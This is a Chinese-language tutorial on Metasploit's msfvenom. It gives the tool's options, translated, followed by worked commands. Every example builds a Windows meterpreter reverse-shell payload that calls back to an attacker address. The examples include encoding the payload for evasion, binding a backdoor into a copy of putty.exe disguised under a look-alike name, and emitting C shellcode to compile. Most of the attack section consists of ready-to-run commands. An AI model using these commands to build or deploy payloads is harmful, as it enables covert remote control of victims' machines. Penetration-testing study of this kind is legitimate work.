metasploit msfvenom使用实例

时间：2021-05-20 11:39:44

metasploit framework下的msfpayload（荷载生成器），msfencoder（编码器），msfcli（监听接口）已然成为历史，取而代之的是msfvenom 现在metasploit framework主要是msfvenom和msfcosole

msfvenom参数说明

当前版本 metasploit v4.17.15-dev

原版说明：

-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom

--list-options List --payload <value>'s standard, advanced and evasion options

-f, --format<format> Output format (use --list formats to list)

-e, --encoder <encoder> The encoder to use (use --list encoders to list)

--smallest Generate the smallest possible payload using all available encoders

-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)

--platform <platform> The platform for --payload (use --list platforms to list)

-o, --out <path> Save the payload to a file

-b, --bad-chars <list>Characters to avoid example: '\x00\xff'

-n, --nopsled<length> Prepend a nopsled of [length] size on to the payload

-s, --space<length> The maximum size of the resulting payload

--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)

-i, --iterations <count> The number of times to encode the payload

-c, --add-code <path> Specify an additional win32 shellcode file to include

-x, --template <path> Specify a custom executable file to use as a template

-k, --keepPreserve the --template behaviour and inject the payload as a new thread

-v, --var-name <value> Specify a custom variable name to use for certain output formats

-t, --timeout<second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)

-h, --help Show this message

个人理解翻译：

-l, --list <type> 列出指定类型的所有模块类型包括: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload <payload> 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数)如果需要使用自定义的payload,请使用'-'或者stdin指定

--list-options列出指定payload的标准,高级和规避选项例如:msfvenom -p generic/shell_bind_tcp --list-options 将列出shell_bind_tcp这个payload的各种选项信息

-f, --format <format> 指定输出格式(使用 --list formats 列出所有的格式)

-e, --encoding <encoder> 要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密

--smallest 使用所有可用的编码器生成尽可能小的有效负载

-a, --arch<arch> 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)

--platform <platform> 指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)

-o, --out<path>将payload保存到文件中

-b, --bad-chars <list>指定不使用的字符集例如:不使用'\x00\xff'这两个字符

-n, --nopsled <length> 在payload上添加指定长度的nop指令

-s, --space <length> 设定payload的最大长度即生成的文件大小

--encoder-space <length>设定编码payload的最大长度(默认为-s的值)

-i, --iterations <count> 对payload进行编码的次数

-c, --add-code <path> 指定一个自己的win32 shellcode文件

-x, --template <path> 指定一个可执行程序将payload捆绑其中

例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面

-k, --keep 针对-x中的捆绑程序将创建新线程执行payload 一般情况-x -k选项一起使用

-v, --var-name <value> 指定用于某些输出格式的自定义变量名称

-t, --timeout <second> 从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)

-h, --help 查看帮助

msfvenom生成shellcode

实例1(简单生成)：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -f exe -o /Users/jiangzhehao/Downloads/1.exe

-p 指定payload，payload后跟该payload的选项

-o 指定payload的保存路径，包含文件名

实例2(替换指定代码)：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -f exe -o /Users/jiangzhehao/Downloads/1.exe

-b 替换代码中会出现中断的字符，如 '\x00\xff'

实例3(指定编码器)：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -e x86/shikata_ga_nai -f exe -o /Users/jiangzhehao/Downloads/1.exe

-e 指定特定的编码器

实例4(绑定后门到其他可执行程序上)：

msfvenom -p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 -x /Users/jiangzhehao/Downloads/putty.exe -k -f exe -o /Users/jiangzhehao/Downloads/puuty_bind.exe

-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 指定payload和payload的参数

-x /Users/jiangzhehao/Downloads/putty.exe执行要绑定的软件

-k从原始的注文件中分离出来，单独创建一个进程

-f exe指定输出格式

-o /Users/jiangzhehao/Downloads/puuty_bind.exe指定输出路径

实例17 输出c格式在vs中编译生成

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.114.140 LPORT=5555 -f c

生成C版本的shellcode 放入vs工程中编译生成exe文件
